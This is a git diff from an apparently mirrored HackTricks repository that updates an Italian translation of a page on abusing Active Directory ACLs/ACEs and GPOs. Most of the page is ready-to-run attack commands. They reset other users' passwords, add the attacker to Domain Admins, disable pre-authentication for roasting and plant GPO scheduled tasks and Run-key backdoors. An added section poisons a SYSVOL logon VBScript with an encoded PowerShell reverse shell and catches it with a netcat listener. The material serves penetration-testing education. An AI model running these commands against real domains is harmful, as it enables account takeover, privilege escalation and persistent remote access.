mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/acl-pers
This commit is contained in:
Translator
parent
eb3c5008a0
commit
ba9b0a368d
@ -238,7 +238,6 @@
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
# Abuso di Active Directory ACLs/ACEs
|
||||
# Abusing Active Directory ACLs/ACEs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Questa pagina è per lo più un riepilogo delle tecniche da** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **e** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Per maggiori dettagli, consultare gli articoli originali.**
|
||||
**Questa pagina è per lo più un riassunto delle tecniche tratte da** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **e** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Per maggiori dettagli, consultare gli articoli originali.**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,32 +11,47 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **Diritti GenericAll su un utente**
|
||||
## **Diritti GenericAll su account utente**
|
||||
|
||||
Questo privilegio concede a un attacker il controllo completo su un account utente target. Una volta che i diritti `GenericAll` sono confermati usando il comando `Get-ObjectAcl`, un attacker può:
|
||||
Questo privilegio concede a un attaccante il controllo completo su un account utente di destinazione. Una volta che i diritti `GenericAll` sono confermati usando il comando `Get-ObjectAcl`, un attaccante può:
|
||||
|
||||
- **Cambiare la password del target**: Usando `net user <username> <password> /domain`, l'attacker può reimpostare la password dell'utente.
|
||||
- **Targeted Kerberoasting**: Assegnare un SPN all'account dell'utente per renderlo kerberoastable, poi usare Rubeus e targetedKerberoast.py per estrarre e tentare di crackare gli hash del ticket-granting ticket (TGT).
|
||||
- **Cambiare la password dell'utente di destinazione**: Usando `net user <username> <password> /domain`, l'attaccante può reimpostare la password dell'utente.
|
||||
- Da Linux, è possibile fare lo stesso tramite SAMR con Samba `net rpc`:
|
||||
```bash
|
||||
# Reset target user's password over SAMR from Linux
|
||||
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
- **Se l'account è disabilitato, rimuovi il flag UAC**: `GenericAll` consente di modificare `userAccountControl`. Da Linux, BloodyAD può rimuovere il flag `ACCOUNTDISABLE`:
|
||||
```bash
|
||||
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||
```
|
||||
- **Targeted Kerberoasting**: Assegna un SPN all'account dell'utente per rendere l'account kerberoastable, quindi usa Rubeus e targetedKerberoast.py per estrarre e tentare di crackare gli hash del ticket-granting ticket (TGT).
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: Disabilitare pre-authentication per l'utente, rendendo il loro account vulnerabile ad ASREPRoasting.
|
||||
- **Targeted ASREPRoasting**: Disabilita la pre-autenticazione per l'utente, rendendo il suo account vulnerabile a ASREPRoasting.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll Rights on Group**
|
||||
- **Shadow Credentials / Key Credential Link**: Con `GenericAll` su un utente puoi aggiungere una credenziale basata su certificato e autenticarti come quell'utente senza cambiare la sua password. Vedi:
|
||||
|
||||
Questo privilegio permette a un attaccante di manipolare le appartenenze ai gruppi se dispone dei diritti `GenericAll` su un gruppo come `Domain Admins`. Dopo aver identificato il distinguished name del gruppo con `Get-NetGroup`, l'attaccante può:
|
||||
{{#ref}}
|
||||
shadow-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
- **Aggiungersi al gruppo Domain Admins**: Questo può essere fatto tramite comandi diretti o utilizzando moduli come Active Directory o PowerSploit.
|
||||
## **Diritti GenericAll su un gruppo**
|
||||
|
||||
Questo privilegio consente a un attaccante di manipolare le appartenenze ai gruppi se ha i diritti `GenericAll` su un gruppo come `Domain Admins`. Dopo aver identificato il distinguished name del gruppo con `Get-NetGroup`, l'attaccante può:
|
||||
|
||||
- **Aggiungersi al gruppo Domain Admins**: Questo può essere fatto tramite comandi diretti o usando moduli come Active Directory o PowerSploit.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- Da Linux puoi anche sfruttare BloodyAD per aggiungerti a gruppi arbitrari quando possiedi l'appartenenza GenericAll/Write su di essi. Se il gruppo target è annidato in “Remote Management Users”, otterrai immediatamente accesso WinRM sugli host che rispettano quel gruppo:
|
||||
- Da Linux puoi anche sfruttare BloodyAD per aggiungerti a gruppi arbitrari quando detieni GenericAll/Write membership su di essi. Se il gruppo target è annidato in “Remote Management Users”, otterrai immediatamente accesso WinRM sui host che rispettano quel gruppo:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -48,33 +63,33 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
|
||||
Il possesso di questi privilegi su un oggetto computer o su un account utente consente di:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: Permette di prendere il controllo di un oggetto computer.
|
||||
- **Shadow Credentials**: Consente di impersonare un computer o un account utente sfruttando i privilegi per creare shadow credentials.
|
||||
- **Kerberos Resource-based Constrained Delegation**: Consente di prendere il controllo di un oggetto computer.
|
||||
- **Shadow Credentials**: Permette di impersonare un computer o un account utente sfruttando i privilegi per creare shadow credentials.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
Se un utente ha i diritti `WriteProperty` su tutti gli oggetti di un gruppo specifico (es. `Domain Admins`), può:
|
||||
Se un utente ha i diritti `WriteProperty` su tutti gli oggetti di uno specifico gruppo (es., `Domain Admins`), può:
|
||||
|
||||
- **Aggiungersi al gruppo Domain Admins**: Realizzabile combinando i comandi `net user` e `Add-NetGroupUser`, questo metodo consente l'escalation di privilegi all'interno del dominio.
|
||||
- **Add Themselves to the Domain Admins Group**: Raggiungibile combinando i comandi `net user` e `Add-NetGroupUser`, questo metodo permette l'escalation dei privilegi all'interno del dominio.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
Questo privilegio consente agli attaccanti di aggiungere se stessi a gruppi specifici, come `Domain Admins`, tramite comandi che manipolano direttamente l'appartenenza al gruppo. L'uso della seguente sequenza di comandi permette l'auto-aggiunta:
|
||||
Questo privilegio consente agli attaccanti di aggiungere se stessi a gruppi specifici, come `Domain Admins`, tramite comandi che manipolano direttamente l'appartenenza al gruppo. L'utilizzo della seguente sequenza di comandi permette l'auto-aggiunta:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
Un privilegio simile, questo consente agli attaccanti di aggiungersi direttamente ai gruppi modificando le proprietà dei gruppi se hanno il diritto `WriteProperty` su quei gruppi. La conferma e l'esecuzione di questo privilegio vengono effettuate con:
|
||||
Privilegio simile che consente agli attaccanti di aggiungersi direttamente ai gruppi modificando le proprietà del gruppo se possiedono il diritto `WriteProperty` su quei gruppi. La conferma e l'esecuzione di questo privilegio vengono eseguite con:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
Il possesso dell'`ExtendedRight` su un utente per `User-Force-Change-Password` consente il reset della password senza conoscere quella corrente. La verifica di questo diritto e il suo sfruttamento possono essere effettuati tramite PowerShell o altri strumenti da riga di comando, offrendo diversi metodi per reimpostare la password di un utente, incluse sessioni interattive e one-liners per ambienti non interattivi. I comandi spaziano da semplici invocazioni di PowerShell all'uso di `rpcclient` su Linux, dimostrando la versatilità dei vettori di attacco.
|
||||
Possedere il `ExtendedRight` su un utente per `User-Force-Change-Password` consente di resettare la password senza conoscere quella corrente. La verifica di questo permesso e il suo sfruttamento possono essere eseguiti tramite PowerShell o strumenti da riga di comando alternativi, offrendo diversi metodi per reimpostare la password di un utente, incluse sessioni interattive e one-liner per ambienti non interattivi. I comandi vanno da semplici invocazioni PowerShell all'uso di `rpcclient` su Linux, dimostrando la versatilità dei vettori di attacco.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,23 +100,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner su un gruppo**
|
||||
## **WriteOwner su gruppo**
|
||||
|
||||
Se un attaccante scopre di avere i diritti `WriteOwner` su un gruppo, può trasferire la proprietà del gruppo a sé stesso. Questo è particolarmente rilevante quando il gruppo in questione è `Domain Admins`, poiché cambiare il proprietario consente un controllo più ampio sugli attributi del gruppo e sui suoi membri. Il processo prevede l'identificazione dell'oggetto corretto tramite `Get-ObjectAcl` e quindi l'uso di `Set-DomainObjectOwner` per modificare il proprietario, sia tramite SID che mediante nome.
|
||||
Se un attacker scopre di avere i diritti `WriteOwner` su un gruppo, può cambiare il proprietario del gruppo assegnandolo a sé stesso. Questo è particolarmente rilevante quando il gruppo in questione è `Domain Admins`, poiché cambiare il proprietario consente un controllo più ampio sugli attributi del gruppo e sui suoi membri. Il processo consiste nell'identificare l'oggetto corretto tramite `Get-ObjectAcl` e poi usare `Set-DomainObjectOwner` per modificare il proprietario, sia tramite SID che per nome.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on User**
|
||||
## **GenericWrite su User**
|
||||
|
||||
Questa autorizzazione permette a un attacker di modificare le proprietà dell'utente. Nello specifico, con accesso `GenericWrite` l'attacker può cambiare il percorso dello script di logon di un utente per eseguire uno script malevolo al momento del logon dell'utente. Questo si ottiene usando il comando `Set-ADObject` per aggiornare la proprietà `scriptpath` dell'utente target in modo che punti allo script dell'attacker.
|
||||
Questa autorizzazione permette a un attaccante di modificare le proprietà di un utente. Nello specifico, con accesso `GenericWrite` l'attaccante può cambiare il percorso dello script di logon di un utente per eseguire uno script dannoso all'accesso dell'utente. Ciò viene realizzato utilizzando il comando `Set-ADObject` per aggiornare la proprietà `scriptpath` dell'utente target in modo che punti allo script dell'attaccante.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group**
|
||||
|
||||
Con questo privilegio, gli attaccanti possono manipolare l'appartenenza ai gruppi, ad esempio aggiungendo se stessi o altri utenti a gruppi specifici. Questo processo comporta la creazione di un oggetto credenziale, il suo utilizzo per aggiungere o rimuovere utenti da un gruppo e la verifica delle modifiche all'appartenenza con comandi PowerShell.
|
||||
Con questo privilegio, gli attaccanti possono manipolare l'appartenenza ai gruppi, ad esempio aggiungendo se stessi o altri utenti a gruppi specifici. Questo processo comporta la creazione di un oggetto credenziale, il suo utilizzo per aggiungere o rimuovere utenti da un gruppo e la verifica delle modifiche di appartenenza con comandi PowerShell.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
- Da Linux, Samba `net` può aggiungere/rimuovere membri quando si possiede `GenericWrite` sul gruppo (utile quando PowerShell/RSAT non sono disponibili):
|
||||
```bash
|
||||
# Add yourself to the target group via SAMR
|
||||
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
# Verify current members
|
||||
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
Possedere un AD object e avere i privilegi `WriteDACL` su di esso consente a un attacker di concedersi privilegi `GenericAll` sull'oggetto. Questo viene ottenuto tramite manipolazione ADSI, permettendo il controllo completo sull'oggetto e la possibilità di modificare le sue membership di gruppo. Nonostante ciò, esistono limitazioni nel tentativo di sfruttare questi privilegi usando i cmdlet `Set-Acl` / `Get-Acl` del modulo Active Directory.
|
||||
Possedere un oggetto AD e avere i privilegi `WriteDACL` su di esso consente a un attaccante di concedersi privilegi `GenericAll` sull'oggetto. Questo viene realizzato tramite manipolazione di ADSI, permettendo il pieno controllo sull'oggetto e la possibilità di modificare le appartenenze ai gruppi. Nonostante ciò, esistono limitazioni nel tentativo di sfruttare questi privilegi usando i cmdlets `Set-Acl` / `Get-Acl` del modulo Active Directory.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,64 +141,138 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **Replica nel Dominio (DCSync)**
|
||||
### WriteDACL/WriteOwner quick takeover (PowerView)
|
||||
|
||||
L'attacco DCSync sfrutta permessi di replica specifici nel dominio per mimare un Domain Controller e sincronizzare i dati, incluse le credenziali utente. Questa potente tecnica richiede permessi come `DS-Replication-Get-Changes`, che permettono agli attaccanti di estrarre informazioni sensibili dall'ambiente AD senza accesso diretto a un Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
Quando si dispone di `WriteOwner` e `WriteDacl` su un account utente o account di servizio, è possibile assumere il controllo completo e reimpostare la sua password usando PowerView senza conoscere la vecchia password:
|
||||
```powershell
|
||||
# Load PowerView
|
||||
. .\PowerView.ps1
|
||||
|
||||
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||
|
||||
# Set a new password for the target principal
|
||||
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||
```
|
||||
Note:
|
||||
- Potrebbe essere necessario prima impostare te stesso come proprietario se hai solo `WriteOwner`:
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||
```
|
||||
- Convalidare l'accesso con qualsiasi protocollo (SMB/LDAP/RDP/WinRM) dopo la reimpostazione della password.
|
||||
|
||||
## **Replica sul dominio (DCSync)**
|
||||
|
||||
L'attacco DCSync sfrutta permessi di replica specifici sul dominio per imitare un Domain Controller e sincronizzare i dati, comprese le credenziali utente. Questa tecnica potente richiede permessi come `DS-Replication-Get-Changes`, permettendo agli attaccanti di estrarre informazioni sensibili dall'ambiente AD senza accesso diretto a un Domain Controller. [**Per saperne di più sull'attacco DCSync qui.**](../dcsync.md)
|
||||
|
||||
## Delega GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### Delega GPO
|
||||
|
||||
L'accesso delegato per gestire Group Policy Objects (GPO) può comportare rischi di sicurezza significativi. Per esempio, se a un utente come `offense\spotless` vengono delegati i diritti di gestione delle GPO, potrebbe avere privilegi come **WriteProperty**, **WriteDacl** e **WriteOwner**. Questi permessi possono essere abusati per scopi malevoli, come identificabile con PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
L'accesso delegato per gestire i Group Policy Objects (GPOs) può rappresentare rischi significativi per la sicurezza. Per esempio, se a un utente come `offense\spotless` vengono delegate le autorizzazioni di gestione delle GPO, potrebbe avere privilegi come **WriteProperty**, **WriteDacl**, e **WriteOwner**. Questi permessi possono essere abusati per scopi maligni, come identificato con PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### Enumerare i permessi delle GPO
|
||||
### Enumerare i permessi GPO
|
||||
|
||||
Per identificare GPO mal configurate, i cmdlet di PowerSploit possono essere concatenati. Questo permette di scoprire le GPO che un utente specifico può gestire: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**Computer a cui è applicata una data GPO**: È possibile risolvere quali computer sono interessati da una specifica GPO, aiutando a comprendere l'ambito dell'impatto potenziale. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
**Computer con una specifica policy applicata**: È possibile determinare a quali computer si applica una GPO specifica, aiutando a comprendere l'ambito dell'impatto potenziale. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**Policy applicate a un dato computer**: Per vedere quali policy sono applicate a un determinato computer, si possono usare comandi come `Get-DomainGPO`.
|
||||
**Policy applicate a un dato computer**: Per vedere quali policy sono applicate a un particolare computer, si possono utilizzare comandi come `Get-DomainGPO`.
|
||||
|
||||
**OU a cui è applicata una data policy**: Identificare le organizational units (OU) interessate da una data policy può essere fatto usando `Get-DomainOU`.
|
||||
**OU con una data policy applicata**: Identificare le organizational units (OU) interessate da una specifica policy può essere fatto usando `Get-DomainOU`.
|
||||
|
||||
Puoi anche usare lo strumento [**GPOHound**](https://github.com/cogiceo/GPOHound) per enumerare le GPO e trovare problemi in esse.
|
||||
È inoltre possibile usare lo strumento [**GPOHound**](https://github.com/cogiceo/GPOHound) per enumerare le GPO e trovare problemi.
|
||||
|
||||
### Abuso delle GPO - New-GPOImmediateTask
|
||||
|
||||
GPO mal configurate possono essere sfruttate per eseguire codice, per esempio creando un scheduled task immediato. Questo può essere usato per aggiungere un utente al gruppo degli amministratori locali sulle macchine interessate, elevando significativamente i privilegi:
|
||||
Le GPO mal configurate possono essere sfruttate per eseguire codice, ad esempio creando un'attività pianificata immediata. Questo può essere utilizzato per aggiungere un utente al gruppo local administrators sulle macchine interessate, elevando significativamente i privilegi:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
Il GroupPolicy module, se installato, permette la creazione e il collegamento di nuovi GPOs e l'impostazione di preferenze come registry values per eseguire backdoors sui computer interessati. Questo metodo richiede che il GPO venga aggiornato e che un utente acceda al computer affinché avvenga l'esecuzione:
|
||||
Il GroupPolicy module, se installato, consente la creazione e il collegamento di nuove GPOs e l'impostazione di preferenze, come valori di registro, per eseguire backdoors sui computer interessati. Questo metodo richiede che la GPO venga aggiornata e che un utente effettui il login sul computer per l'esecuzione:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse offre un metodo per abusare di GPO esistenti aggiungendo attività o modificando impostazioni senza la necessità di creare nuove GPO. Questo strumento richiede la modifica di GPO esistenti o l'uso degli strumenti RSAT per crearne di nuovi prima di applicare le modifiche:
|
||||
SharpGPOAbuse offre un metodo per abusare di GPO esistenti aggiungendo attività o modificando impostazioni senza la necessità di creare nuovi GPO. Questo strumento richiede la modifica dei GPO esistenti o l'uso degli strumenti RSAT per crearne di nuovi prima di applicare le modifiche:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Aggiorna la Policy forzatamente
|
||||
### Forzare l'aggiornamento delle policy
|
||||
|
||||
Gli aggiornamenti delle GPO avvengono tipicamente ogni circa 90 minuti. Per accelerare questo processo, specialmente dopo aver apportato una modifica, sul computer target può essere eseguito il comando `gpupdate /force` per forzare un aggiornamento immediato delle policy. Questo comando assicura che le modifiche alle GPO vengano applicate senza attendere il prossimo ciclo automatico di aggiornamento.
|
||||
Gli aggiornamenti delle GPO avvengono tipicamente ogni ~90 minuti. Per accelerare questo processo, soprattutto dopo aver applicato una modifica, è possibile eseguire il comando `gpupdate /force` sul computer target per forzare un aggiornamento immediato delle policy. Questo comando assicura che eventuali modifiche alle GPO vengano applicate senza attendere il prossimo ciclo automatico di aggiornamento.
|
||||
|
||||
### Sotto il cofano
|
||||
### Dietro le quinte
|
||||
|
||||
Ispezionando le Scheduled Tasks per una data GPO, come la `Misconfigured Policy`, si può confermare l'aggiunta di task come `evilTask`. Queste attività vengono create tramite script o strumenti da riga di comando con l'obiettivo di modificare il comportamento del sistema o scalare privilegi.
|
||||
Ispezionando le Scheduled Tasks per una GPO specifica, come `Misconfigured Policy`, è possibile confermare l'aggiunta di task come `evilTask`. Queste attività vengono create tramite script o strumenti da linea di comando volti a modificare il comportamento del sistema o a scalare privilegi.
|
||||
|
||||
La struttura della task, come mostrato nel file di configurazione XML generato da `New-GPOImmediateTask`, descrive i dettagli della scheduled task — incluso il comando da eseguire e i suoi trigger. Questo file rappresenta come le attività pianificate sono definite e gestite all'interno delle GPO, fornendo un metodo per eseguire comandi o script arbitrari come parte dell'applicazione delle policy.
|
||||
La struttura del task, come mostrata nel file di configurazione XML generato da `New-GPOImmediateTask`, descrive i dettagli dell'attività pianificata — incluso il comando da eseguire e i suoi trigger. Questo file rappresenta come le scheduled tasks vengono definite e gestite all'interno delle GPO, fornendo un metodo per eseguire comandi o script arbitrari come parte dell'enforcement della policy.
|
||||
|
||||
### Utenti e Gruppi
|
||||
|
||||
Le GPO consentono anche la manipolazione delle membership di utenti e gruppi sui sistemi target. Modificando direttamente i file di policy Users and Groups, un attaccante può aggiungere utenti a gruppi privilegiati, come il gruppo locale `administrators`. Questo è possibile grazie alla delega delle autorizzazioni di gestione delle GPO, che permette di modificare i file di policy per includere nuovi utenti o cambiare le membership dei gruppi.
|
||||
Le GPO permettono anche la manipolazione delle membership di utenti e gruppi sui sistemi target. Modificando direttamente i file di policy Users and Groups, un attaccante può aggiungere utenti a gruppi privilegiati, come il gruppo locale `administrators`. Ciò è possibile tramite la delega delle permission di gestione delle GPO, che consente la modifica dei file di policy per includere nuovi utenti o cambiare le membership dei gruppi.
|
||||
|
||||
Il file di configurazione XML per Users and Groups illustra come queste modifiche vengono implementate. Aggiungendo voci a questo file, utenti specifici possono ottenere privilegi elevati sui sistemi interessati. Questo metodo offre un approccio diretto all'escalation dei privilegi tramite la manipolazione delle GPO.
|
||||
Il file di configurazione XML per Users and Groups illustra come queste modifiche vengono implementate. Aggiungendo voci a questo file, utenti specifici possono ricevere privilegi elevati sui sistemi interessati. Questo metodo offre un approccio diretto all'escalation di privilegi tramite la manipolazione delle GPO.
|
||||
|
||||
Inoltre, possono essere considerate ulteriori metodologie per l'esecuzione di codice o il mantenimento della persistenza, come sfruttare logon/logoff scripts, modificare chiavi di registro per autoruns, installare software tramite file .msi, o modificare le configurazioni dei servizi. Queste tecniche forniscono diverse vie per mantenere l'accesso e controllare i sistemi target attraverso l'abuso delle GPO.
|
||||
|
||||
## SYSVOL/NETLOGON Logon Script Poisoning
|
||||
|
||||
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
|
||||
|
||||
### Individuare logon scripts
|
||||
- Ispeziona gli attributi utente per la presenza di un logon script configurato:
|
||||
```powershell
|
||||
Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
|
||||
```
|
||||
- Scansionare domain shares per far emergere shortcuts o riferimenti a scripts:
|
||||
```bash
|
||||
# NetExec spider (authenticated)
|
||||
netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
|
||||
```
|
||||
- Analizzare i file `.lnk` per risolvere i target che puntano in SYSVOL/NETLOGON (utile trucco DFIR e per attaccanti senza accesso diretto a GPO):
|
||||
```bash
|
||||
# LnkParse3
|
||||
lnkparse login.vbs.lnk
|
||||
# Example target revealed:
|
||||
# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
|
||||
```
|
||||
- BloodHound mostra l'attributo `logonScript` (scriptPath) sui nodi utente quando presente.
|
||||
|
||||
### Verifica l'accesso in scrittura (non fidarti di share listings)
|
||||
Gli strumenti automatici possono mostrare SYSVOL/NETLOGON come di sola lettura, ma le NTFS ACLs sottostanti possono comunque consentire operazioni di scrittura. Verifica sempre:
|
||||
```bash
|
||||
# Interactive write test
|
||||
smbclient \\<dc>\SYSVOL -U <user>%<pass>
|
||||
smb: \\> cd <domain>\scripts\
|
||||
smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change
|
||||
```
|
||||
Se la dimensione del file o mtime cambia, hai permessi di scrittura. Conserva gli originali prima di modificare.
|
||||
|
||||
### Avvelena uno script di logon VBScript per RCE
|
||||
Aggiungi un comando alla fine che avvii una PowerShell reverse shell (generata da revshells.com) e mantieni la logica originale per evitare di interrompere la funzionalità aziendale:
|
||||
```vb
|
||||
' At top of login.vbs
|
||||
Set cmdshell = CreateObject("Wscript.Shell")
|
||||
cmdshell.run "powershell -e <BASE64_PAYLOAD>"
|
||||
|
||||
' Existing mappings remain
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
|
||||
MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
|
||||
```
|
||||
Ascolta sul tuo host e attendi il prossimo interactive logon:
|
||||
```bash
|
||||
rlwrap -cAr nc -lnvp 443
|
||||
```
|
||||
Note:
|
||||
- L'esecuzione avviene con il token dell'utente che effettua il login (non SYSTEM). L'ambito è il GPO link (OU, site, domain) che applica quello script.
|
||||
- Pulizia: ripristinare il contenuto e i timestamp originali dopo l'uso.
|
||||
|
||||
Inoltre, si possono considerare ulteriori metodi per eseguire codice o mantenere la persistenza, come sfruttare script di logon/logoff, modificare chiavi del registro per autoruns, installare software tramite file .msi o modificare le configurazioni dei servizi. Queste tecniche offrono varie vie per mantenere l'accesso e controllare i sistemi target attraverso l'abuso delle GPO.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
